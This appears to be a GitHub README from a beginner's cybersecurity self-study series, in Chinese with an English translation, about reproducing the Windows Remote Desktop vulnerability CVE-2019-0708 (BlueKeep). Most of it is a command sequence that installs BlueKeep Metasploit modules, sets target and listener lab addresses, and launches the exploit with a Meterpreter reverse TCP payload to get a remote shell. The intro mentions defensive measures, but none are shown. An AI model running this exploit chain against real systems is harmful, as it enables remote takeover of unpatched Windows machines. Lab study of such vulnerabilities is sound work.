eastmountyxz/cve-2019-0708-windows这篇文章将分享Windows远程桌面服务漏洞（CVE-2019-0708），并详细讲解该漏洞及防御措施。作者作为网络安全的小白，分享一些自学基础教程给大家，主要是关于安全工具和实践操作的在线笔记，希望您们喜欢。同时，更希望您能与我一起操作和进步，后续将深入学习网络安全和系统安全知识并分享相关实验。总之，希望该系列文章对博友有所帮助，写文不易，大神们不喜勿喷，谢谢！
This article will share the Windows Remote Desktop Service vulnerability (CVE-2019-0708), and provide a detailed explanation of the vulnerability and defensive measures. As a cybersecurity beginner, the author shares some self-study basic tutorials, mainly online notes about security tools and hands-on operations. I hope you like them. Moreover, I hope you can work with me and make progress together. In the future, I will further study cybersecurity and system security knowledge and share related experiments. In short, I hope this series of articles is helpful to friends. Writing is not easy, please do not dislike it if you are an expert. Thank you!
Corresponding blog posts:
[Cybersecurity Self-Study] 58. Windows Vulnerability Exploitation: Revisiting CVE-2019-0708 and Metasploit Reverse Shell
[Cybersecurity Self-Study] 44. Windows Remote Desktop Service Vulnerability (CVE-2019-0708) Reproduction and Detailed Explanation
Core Commands:
# Copy files
cp ./rdp/rdp.rb /usr/share/metasploit-framework/lib/msf/core/exploit/
cp ./rdp/rdp_scanner.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/
cp ./rdp/cve_2019_0708_bluekeep.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/
cp ./rdp/cve_2019_0708_bluekeep_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/rdp/
# Launch tool
msfconsole
reload_all
search 0708
# Use script
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
# View information
show options
show targets
info
# Set listener address, target address, reverse payload, target type
set rhosts 192.168.44.132
set lhost 192.168.44.129
set rdp_client_ip 192.168.44.129
set payload windows/x64/meterpreter/reverse_tcp
unset RDP_CLIENT_NAME
set target 3
# Run script
run
exploit
# Set bandwidth
Set GROOMSIZE 40